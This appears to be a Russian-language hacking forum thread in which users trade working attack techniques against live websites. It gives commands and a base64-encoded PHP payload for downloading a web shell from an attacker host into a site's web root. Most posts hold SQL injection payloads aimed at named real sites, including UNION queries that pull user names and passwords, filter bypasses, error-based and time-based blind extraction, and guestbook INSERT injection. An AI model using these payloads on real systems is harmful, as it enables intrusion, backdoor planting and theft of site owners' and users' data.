curl, fetch, links, lynx, get Проверить наличие качалок можно команой which. В консоли: which curl, если качалка установлена, то в ответ получишь /usr/bin/curl (полный путь к исполняемому файлу на сервере) Синтаксис: get -o /path/shell.php http://site.com/shell.txt fetch -o /path/shell.php http://site.com/shell.txt curl --output /path/shell.php http://site.com/shell.txt links -source http://site.com/shell.txt > /path/shell.php lynx -source http://site.com/shell.txt > /path/shell.php Можно, зависит от настроек php. Пример для allow_url_fopen = on (ну и функция copy разумеется не должна находиться в disable functions) Посылаешь пакет: HTML: POST http://site.com/backdoor.php HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 77 Keep-Alive: 115 Connection: keep-alive e=Y29weSgnaHR0cDovL2V2aWxob3N0L3NoZWxsLnR4dCcsJy9zaXRlL3d3dy9zaGVsbC5waHAnKTs где e=copy('http://evilhost/shell.txt','/site/www/shell.php'); в base64_encode http://evilhost/shell.txt - откуда льем /site/www/shell.php - куда (абсолютный путь до папки доступной на запись)
Помогите обойти фильтрацию. http://www.footballfoundation.org/news.php?id=2194/**/union/**/select/**/1,2,3,4,5,6,7+--+
PHP: <?php $curl = curl_init("http://www.footballfoundation.org/news.php"); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, "id=2194/**/and/**/0/**/union/**/select/**/1,2,3,4,5,6,7+--+"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $cont = curl_exec($curl); echo $cont; ?> пост наше щастье
Ребят конечно это не вопрос, но прошу помощи ... Нужны линки на книги по sql иньекциям, чтобы бы было разжевано от а до я ... желательно дб оракл и мускул, девтеева пдфки читал и ачат все явно устарело ... Не пинайте сильно.
Эм... Способ эксплуатации SQL-inject'a не изменился и не думаю, что измениться. А если хочешь разобраться хорошо в разных SQL-языках, то читай книги по этим языкам и все. А для всего остального шпаргалки\статьи, которые есть на широких просторах интернета и в т.ч. на этом форуме.
Помогите разобраться с sql-иньекциями. С помощью сканера из этого топика нашел 10 уязвимостей на нужном мне сайте, большинство из них sql. Сам сканер в качестве уязвимой ссылки выдает что-то оканчивающееся на 0'+'1'=2. Пробовал подставлять вместо этого различные эксплоиты и просто кавычку, но показывается обычная страница, без всяких ошибок. Собственно интересно, сканер врет или я что-то не то делаю... Как можно проверить на sql уязвимость кроме кавычки?
Судя по первому абзацу все-же сканер врет... Сайт нагуглил по версии джумлы, вот линки на предполагаемые уязвимости liceum9.ru/index.php?option=com_comprofiler&task=userProfile&user=1+and+1=2 юзеры начинаются с id 121, для их просмотра пришлось зарегится. http://www.liceum9.ru/index.php?option=com_content&task=blogcategory&id=60&Itemid=%2099999%20union%20select%201,concat_ws%280x3a,username,password%29,%203,4,5%20from%20jos_users/* http://www.liceum9.ru/index.php?option=com_banners&task=archivesection&id='0'+and+'1'='2 В последнем вообще валидный id подобрать не смог... Проверьте, пожалуйста, эти ссылки на sql-уязвимость. Очень хочется, чтобы первый блин не вышел комом.
так отоброжает скуль: _http://www.pravo-advokat.ru/index.php?p_id=2&m_id=-4+/*!union*/+select+1,2,/*!table_name*/+from+information_schema.tables а так нет: _http://www.pravo-advokat.ru/index.php?p_id=2&m_id=-4+/*!union*/+union+select+1,2,/*!column_name*/+from+information_schema.columns+where+table_name=0x%75%73%65%72%73 подскажите куда копать дальше.
Помогите вывести имена колонок. http://www.pravo-advokat.ru/index.php?p_id=2+and+(select*from(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+column_name+from+INFORMATION_SCHEMA.columns+where+table_name=0x7573657273+limit+0,1),1,64),floor(rand(0)*2)))z)+--+&m_id=4
вечер всем добрый ... нужно помощь в sql inj ... сразу скажу .. я новичок ... так что могу написать глупость ... к делу ... есть иньекция в guestbook одного сайта (могу кинуть ссылку в пм) ... при добавление ковычки к запросу получаю ошибку : Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[email protected]','bbbbbbbbbbb',null, CURRENT_TIMESTAMP)' at line 1 Как я понимаю запрос выглядит примерно так : INSERT INTO tables VALUES ('name','mail','mesege',null, CURRENT_TIMESTAMP) подставляю ' ) -- получаю ошибку Ошибка: Column count doesn't match value count at row 1 тогда подставляю bvbvbvbb','[email protected]','ffffffffff',null, CURRENT_TIMESTAMP ) -- как я понимаю ... должно добавиться сообщение в гостевой книге но опятьже получаю ошибку Ошибка: Column count doesn't match value count at row 1 Подскажите люди добрые ... как тут быть P.s иньекцию делаю через форму name
При подстановке ' довольно часто сталкиваюсь вот с такой ошибкой Так понимаю это ничего не дает или я не прав?
Таблица tables содержит 5 колонок (количество полей в левой и правой части запроса должно совпадать) Вписывая в поле ' )-- - Запрос принимает вид HTML: INSERT INTO tables VALUES ('')-- - MySQL выдаст ошибку: Column count doesn't match value count at row 1, так как количество полей не совпадает. Как проводить инъекцию, зависит от того, что ты хочешь получить. Ты можешь либо уравнять количество полей и вписать произвольные значения в базу в текущий запрос, отсеив остальное комментарием bla','123123','[email protected]','ya mega hacker','777')-- - Запрос примет вид HTML: INSERT INTO tables VALUES ('bla','123123','[email protected]','ya mega hacker','777')-- - либо спровоцировать ошибку duplicate entry и выводить инфу через нее bla','123123','[email protected]','ya mega hacker','777') on duplicate key update name = (select 1 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)-- - Запрос примет вид HTML: INSERT INTO tables VALUES ('bla','123123','[email protected]','ya mega hacker','777') on duplicate key update name = (select 1 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)-- - Вывод: Duplicate entry '5.0.91-community1' for key 1 Либо вытаскивать инфу основываясь на временных задержках bla','123123','[email protected]','ya mega hacker',(if(ascii(mid((select table_name from information_schema.tables limit 0,1),1,1))>66,(sleep(10)),1)))-- - Запрос примет вид HTML: INSERT INTO tables VALUES ('bla','123123','[email protected]','ya mega hacker',(if(ascii(mid((select table_name from information_schema.tables limit 0,1),1,1))>66,(sleep(10)),1)))-- - И так далее UPD: Не внимательно прочитал сообщение, тогда пали сюда линк.
Какая-то странная скуля, может кто сталкивался +union+select+1-- Code: Database access error: SELECT `username`, `name`, `date` FROM `users` WHERE `ID`=9999999999 union select 1-- +union+select+1,2-- Code: Database access error: SELECT `picture` FROM `users` WHERE `ID`=9999999999 union select 1,2-- Не могу понять каким образом разные запросы вылазят.
два запроса на странице, подставляя union select 1, первый становится верным, поэтому выдает ошибку со второго, в котором 3 поля, а подставив любое другое количество, ошибку выдаст первый запрос крути через ошибку или вслепую